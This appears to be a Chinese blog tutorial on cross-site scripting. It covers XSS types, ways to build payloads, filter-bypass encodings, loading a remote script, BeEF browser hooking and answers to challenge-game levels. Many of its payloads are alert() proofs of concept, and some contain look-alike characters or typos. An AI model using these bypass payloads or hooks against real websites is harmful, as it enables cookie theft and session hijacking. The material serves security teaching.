XSS漏洞详解

目录

壹、XSS概述

贰、XSS类型

叁、XSS代码构造

肆、XSS变形绕过

伍、Shellcode的调用

陆、XSS防御与会话劫持

1.XSS防御

2.劫持

柒、XSS实战通关游戏


壹、XSS概述

        1、XSS原理:

        XSS被称为跨站脚本,是一种发生在前端浏览器端的漏洞。形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符(JS代码等)输出在前端时被浏览器当作代码解析执行从而产生危害。

         微博、留言板、聊天室等收集用户输入的地方,都有可能被注入XSS代码,只要没对用户的输入进行过滤,就会被攻击。

        2、XSS漏洞危害:

        @1   盗取用户账号;

        @2   盗取用户Cookie,冒充用户身份进入网站;

        @3   劫持用户会话,执行任意操作;

        @4    刷流量,执行弹窗广告等待;

        3、XSS漏洞存在常用PoC:

<script>alert(/xss/)</script>
<script>confirm(/xss/)</script>
<script>prompt(/xss/)</script>

贰、XSS类型

        1.反射型XSS: 非持久性,参数型的跨站脚本。反射型的XSS的代码在Web应用的参数中。

        2.存储型XSS: 持久性跨站脚本,将代码写入数据库或文件等可以永久保存数据的介质中。

        3.DOM型XSS:修改浏览器DOM树来执行恶意代码。

叁、XSS代码构造

        1.利用`<>`构造HTML标签或JS代码

<script>alert(/xss/)</script>

        2.利用javascript:伪协议的方式构造XSS

<a href="javascript:alert(/xss/)">touch me!</a>

         3.事件驱动

<input type="text" onkeydown='alert(/xss/)'>       //键盘点击触发
<input type="text" onkeyup='alert(/xss/)'>         //键盘断开触发
<input type="button" onclick='alert(/xss/)'>       //鼠标点击触发
<img src='file_path' onmouseover='alert(/xss/)' /> //鼠标悬停触发
<img src='file_path(#)' onerror='alert(/xss/)' />  //文档载入失败触发

        4.其他触发方式

<svg onload='alert(/xss/)'>
<input onfocus=alert(/xss/) autofocus>

肆、XSS变形绕过

        1.大小写转换:HTML对大小写不敏感;注意:alert函数属于JS,而JS对大小写敏感

<Img sRc='#' Onerror='alert(/xss/)' />
<a hREf='javaScript:alert(/xss/)'>touch me!</a>

        2.引号的引用:HTML对引号不敏感

<img src="#" Onerror="alert(/xss/)" />
<img src='#' Onerror='alert(/xss/)' />
<img src=# Onerror=alert(/xss/) />

        3.左斜线[/]代替空格

<Img/sRc='#'/Onerror='alert(/xss/)' />

        4.添加制表符,回车符

<A hRef="j
a    v
a    s
c    R
i    p
t    :
alert(/xss/)">touch me!</a>

        5.对标签属性值进行转码

常用字符编码

字母    十进制编码  十六进制编码

a          &#97;         &#x61;

e          &#101;       &#x65;

<A hRef="j&#97;v&#x61;scRipt:alert(/xss/)">touch me!</a>

下面字符可可插入任意位置

Tab:&#9;   换行:&#10;  回车:&#2;

下面字符可插入头部

SOH:&#01;  STX:&#02;

<A hRef="&#01;j&#97;v&#x61;s&#09;c&#10;R&#13;ipt:alert(/xss/)">touch me!</a>

        6.拆分跨站

<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>ecal(z)</script>

        7.双写绕过:针对一次过滤 eg:<scr<script>ipt>

伍、Shellcode的调用

        Shellcode就是利用漏洞所执行的代码。完整的XSS攻击,会将Shellcode存放在一定的地方,然后触发漏洞,调用Shellcode.

远程调用JS:将JS代码放在js文件中,然后通过http协议远程加载该脚本。如<script src="http://127.0.0.1/XSS/xss.js"></script> xss.js文件内容为Shellcode

......后面补>_<.......

陆、XSS防御与会话劫持

1.XSS防御

        使用XSS Filter:

                输入过滤:对输入字符、长度、范围,格式要求进行过滤,不允许可能导致XSS攻击的字符输入;
                输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

                黑白名单:黑名单-非允许数据  白名单-允许的数据

2.beef(kali自带)浏览器劫持

        beef所在目录:/usr/share/beef-xss  配置文件:/usr/share/beef-xss/config.yaml

        第一次使用要修改默认用户、密码

        web界面管理控制台:http://ip:3000/ui/panel  Shellcode:http://ip:3000/hook.js

        测试页面:http://ip:3000/demos/butcher/index.html

3.美少妇(msf)利用浏览器漏洞getshell

        可以配合beef工具一起使用,由于msf工具我还搞明白,以后再补上>_<!

柒、XSS实战通关游戏

XSS通关小游戏链接:xss平台 - 游戏闯关练习

游戏一:测试过滤代码<script "'Oonn>

[01]:<script>alert(/xss/)</script>

[02]:"><img οnerrοr=alert(/xss/) src='#'>

[03]:' οnmοuseοver='alert(/xss/)

[04]:" οnmοuseοver="alert(/xss/)

[05]:测试代码<script script "'Oonn>  答案:"><a href="javascript:alert(/xss/)">hello</a>

[06]:"><a hRef="javascript:alert(/xss/)">hello</a> 

[07]:" oonnmouseover="alert(/xss/)

[08]:javas&#x63;ript:alert(/xss/)

[09]:javas&#x63;ript:alert('http://')

[10]:t_sort=hello" type="button" οnclick="alert(/xss/)

[11]:Referer:hello" type="button" οnclick="alert(/xss/)---BP抓包修改Referer字段

....... 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值